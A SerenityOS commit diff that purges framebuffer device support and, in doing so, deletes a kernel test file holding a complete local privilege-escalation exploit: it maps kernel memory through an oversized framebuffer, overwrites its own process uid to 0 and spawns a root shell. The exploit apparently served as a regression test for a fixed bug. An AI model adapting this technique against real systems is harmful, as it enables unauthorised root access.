summaryrefslogtreecommitdiff
path: root/Tests
diff options
context:
space:
mode:
authorLiav A <liavalb@gmail.com>2022-04-30 15:27:42 +0300
committerAndreas Kling <kling@serenityos.org>2022-05-05 20:55:57 +0200
commite301af8352c50dc76234aa767d5a18f6ff52d86e (patch)
tree668053495c06812b151f56836b8ecead7e07caeb /Tests
parentaad968cc5e099bfa480c3cd67af5ef092b1b15f3 (diff)
downloadserenity-e301af8352c50dc76234aa767d5a18f6ff52d86e.zip
Everywhere: Purge all support and usage of framebuffer devices
Long live the DisplayConnector object!
Diffstat (limited to 'Tests')
-rw-r--r--Tests/Kernel/CMakeLists.txt1
-rw-r--r--Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp105
2 files changed, 0 insertions, 106 deletions
diff --git a/Tests/Kernel/CMakeLists.txt b/Tests/Kernel/CMakeLists.txt
index 61d51e68a8..03cfb6ea3c 100644
--- a/Tests/Kernel/CMakeLists.txt
+++ b/Tests/Kernel/CMakeLists.txt
@@ -1,6 +1,5 @@
set(TEST_SOURCES
bind-local-socket-to-symlink.cpp
- bxvga-mmap-kernel-into-userspace.cpp
crash-fcntl-invalid-cmd.cpp
elf-execve-mmap-race.cpp
elf-symbolication-kernel-read-exploit.cpp
diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
deleted file mode 100644
index 545124542a..0000000000
--- a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (c) 2018-2020, the SerenityOS developers.
- *
- * SPDX-License-Identifier: BSD-2-Clause
- */
-
-#include <AK/Types.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <unistd.h>
-
-int main()
-{
- int fd = open("/dev/fb0", O_RDWR);
- if (fd < 0) {
- perror("open");
- return 1;
- }
-
- size_t width = 17825;
- size_t height = 1000;
- size_t pitch = width * 4;
- size_t framebuffer_size_in_bytes = pitch * height * 2;
-
- FBHeadProperties original_properties;
- original_properties.head_index = 0;
- if (ioctl(fd, GRAPHICS_IOCTL_GET_HEAD_PROPERTIES, &original_properties) < 0) {
- perror("ioctl");
- return 1;
- }
-
- FBHeadResolution resolution;
- resolution.head_index = 0;
- resolution.width = width;
- resolution.height = height;
- resolution.pitch = pitch;
-
- if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &resolution) < 0) {
- perror("ioctl");
- return 1;
- }
-
- auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
- if (ptr == MAP_FAILED) {
- perror("mmap");
- return 1;
- }
-
- printf("Success! Evil pointer: %p\n", ptr);
-
- u8* base = &ptr[128 * MiB];
-
- uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
- printf("base = %p\n", base);
- printf("g_processes = %p\n", (void*)g_processes);
-
- auto get_ptr = [&](uintptr_t value) -> void* {
- value -= 0xc0000000;
- return (void*)&base[value];
- };
-
- struct ProcessList {
- uintptr_t head;
- uintptr_t tail;
- };
-
- struct Process {
- // 32 next
- // 40 pid
- // 44 uid
- u8 dummy[32];
- uintptr_t next;
- u8 dummy2[4];
- pid_t pid;
- uid_t uid;
- };
-
- ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
-
- Process* process = (Process*)get_ptr(process_list->head);
-
- printf("{%p} PID: %d, UID: %d, next: %p\n", process, process->pid, process->uid, (void*)process->next);
-
- if (process->pid == getpid()) {
- printf("That's me! Let's become r00t!\n");
- process->uid = 0;
- }
-
- FBHeadResolution original_resolution;
- original_resolution.head_index = 0;
- original_resolution.width = original_properties.width;
- original_resolution.height = original_properties.height;
- original_resolution.pitch = original_properties.pitch;
- if (ioctl(fd, GRAPHICS_IOCTL_SET_HEAD_RESOLUTION, &original_resolution) < 0) {
- perror("ioctl");
- return 1;
- }
-
- execl("/bin/sh", "sh", nullptr);
-
- return 0;
-}